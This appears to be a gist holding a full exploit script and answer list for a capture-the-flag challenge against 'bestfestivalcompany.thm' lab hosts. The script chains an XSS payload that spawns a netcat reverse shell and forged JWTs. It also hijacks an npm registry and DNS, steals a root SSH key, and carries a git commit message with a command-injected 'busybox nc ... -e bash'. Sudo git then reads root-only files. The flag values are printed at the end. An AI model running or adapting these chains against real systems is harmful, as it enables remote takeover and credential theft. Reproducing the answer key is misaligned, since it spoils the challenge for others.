                ip + """ 4444 -e bash")},valueOf:undefined,constructor:undefined}).catch(()=>{});}}`});</script>"""
    }
    req = post("http://thehub-uat.bestfestivalcompany.thm:3000/contact", data=exp, headers={"Content-Type":"application/x-www-form-urlencoded"})
    return req # "Thank You for Contacting Us"


def shellA(ip="10.10.11.12"):
    """
    Using the shell to get the first flag of the challenge.
    
    Make sure to use your own private key to sign the JSON Web Token.
    Using "npm install -g verdaccio && ./npm/bin/verdaccio" with config.yaml (listen:-0.0.0.0:4873) pointed to us, without SSL.
    We should setup a Domain Name System that replicates "bestfestivalcompany.thm" while using admin (manager.modifyResolvConf) repository.
    We could also write an exploit in node packages, publish it anonymously with Npm through Verdaccio and curl.
    https://book.hacktricks.xyz/shells/shells/linux
    """
    cli = listen(4444).wait_for_connection()
    cli.sendline(b"cat /flag-*"); print(cli.recvuntil(b"#")) # cli.interactive()
    cli.sendlinethen(b"#", b'echo jwks_base64 | base64 -d > /app/bfc_thehubuat/assets/jwks.json') # Checking prompt delimiter
    cli.sendlinethen(b"#", b"rm .npmrc && npm config set registry http://" + ip.encode() + b":4873/")
    token = __import__("jwt").encode({"username":"mcskidy-adm"}, Path("~/private.key").read_bytes(), algorithm="RS256", headers={"kid":"..."})
    cli.sendlinethen(b"#", b'''curl http://npm-registry.bestfestivalcompany.thm:3000/reinstall-node-modules -H "Authorization:Bearer '''+token \
        + b'''" -H "Content-Type:application/json" -d '{"host":"npm-registry.bestfestivalcompany.thm","service":"adm***"}''')
    # {"error":"Failed to reinstall node modules","details":"Timed out while waiting for handshake"}
    cli.sendlinethen(b"#", b'''curl http://npm-registry.bestfestivalcompany.thm:3000/restart-service -H "Authorization:Bearer '''+token \
        + b'''" -H "Content-Type:application/json" -d '{"host":"npm-registry.bestfestivalcompany.thm","service":"adm***"}''')
    # {"message":"resolv.conf updated successfully","output":""}
    cli.sendlinethen(b"#", b'''curl http://npm-registry.bestfestivalcompany.thm:3000/modify-resolv -H "Authorization:Bearer '''+token \
        + b'''" -H "Content-Type:application/json" -d '{"host":"npm-registry.bestfestivalcompany.thm","nameserver":"'''+ip.encode()+b'"}') # To 4445 port
    # cli.close()


def shellB(ip="10.10.11.12"):
    """
    Waiting for the connection of the "bfcdev-admin" user.

    Registry on "//localhost:4873/:_authToken=OWI..." in .npmrc file.
    Since the "admdev" repository have write permissions on Gitolite,
    We could push another reverse shell in it directly.
    """
    cli = listen(4445).wait_for_connection()
    cli.sendline(b"cat /flag-*")
    print(cli.recvuntil(b"#")) # b' cat /flag-*\nTHM{...}\ndocker:~#'
    cli.sendline(b"cat /app/admint/root.key")
    key = cli.recvuntil(b"#")  # OpenSSH private key
    key = b"\n".join(key.split(b"\n")[1:10]); Path("~/root.key").write_bytes(key)
    _ = run([  "GIT_SSH_COMMAND='ssh -i root.key' git clone ssh://[email protected]/admdev"], shell=True, check=True, text=True)
    _ = run(['''GIT_SSH_COMMAND='ssh -i root.key' git commit -m "poc;busybox nc ''' + ip + ''' 4446 -e bash;poc"'''], shell=True, check=True, text=True)
    _ = run([  "GIT_SSH_COMMAND='ssh -i root.key' git push origin main"], shell=True, check=True, text=True) # To 4446 port
    cli.close()


def shellC():
    """
    Waiting for the git commands to be executed.

    Checking the permissions as in the last years side quests,
    We see that Git is allowed to run as "superuser" by sudo.
    https://gtfobins.github.io/gtfobins/git/#file-write
    """
    cli = listen(4446).wait_for_connection()
    cli.sendline(b"cat /home/git/flag-*.txt")
    print(cli.recvuntil(b"#"))
    cli.sendline(b"sudo /usr/bin/git --no-pager diff /root/.viminfo /dev/null|grep -m1 flag-") # Filename of the flag
    f = cli.recvuntil(b"#") 
    cli.sendline(b"sudo /usr/bin/git --no-pager diff /root/"+(f[f.index(b"flag-"):f.index(b".txt")]+b".txt")+b" /dev/null|grep THM{")
    print(cli.recvuntil(b"#"))
    cli.close()


def main(ip:str, vm:str):
    """
    Launching the listeners in parallel, may not be the best way given the instability of the servers.
    """
    try:
        if xss(ip).status_code == 200:
            p1, p2, p3 = Process(target=shellA), Process(target=shellB), Process(target=shellC)
            p1.start(); p2.start(); p3.start()
            p1.close(); p2.close(); p3.close() # Timer
            print("Ending")
    except Exception:
        pass


if __name__ == "__main__":
    vm = "10.10.11.11" # TheHub
    ip = "10.10.11.12" # Internal
    rq = post(f"http://{vm}:21337/unlock", json={"k":"..."}, headers={"Content-Type":"application/json"})
    if "ok" in rq.text:
        main(ip, vm)

A great adventure in the end despite the repeated connection problems, depending on the large number of participants (given UTC) compared to the few victorious.

  • What is the value of flag 1? 8739ead1d5d99da350f3b6a112be5199
  • What is the value of flag 2? 358c5ed9972d8d851a936372c00af4b0
  • What is the value of flag 3? fb53965b8ce9b6a391cd39da603fe14c
  • What is the value of flag 4? f01e7483324f48f79f040831039fbfb6
  • What is the flag you get at the end of the survey? 3006b9254b42e14847738b9e876f2717

End

Comments are disabled for this gist.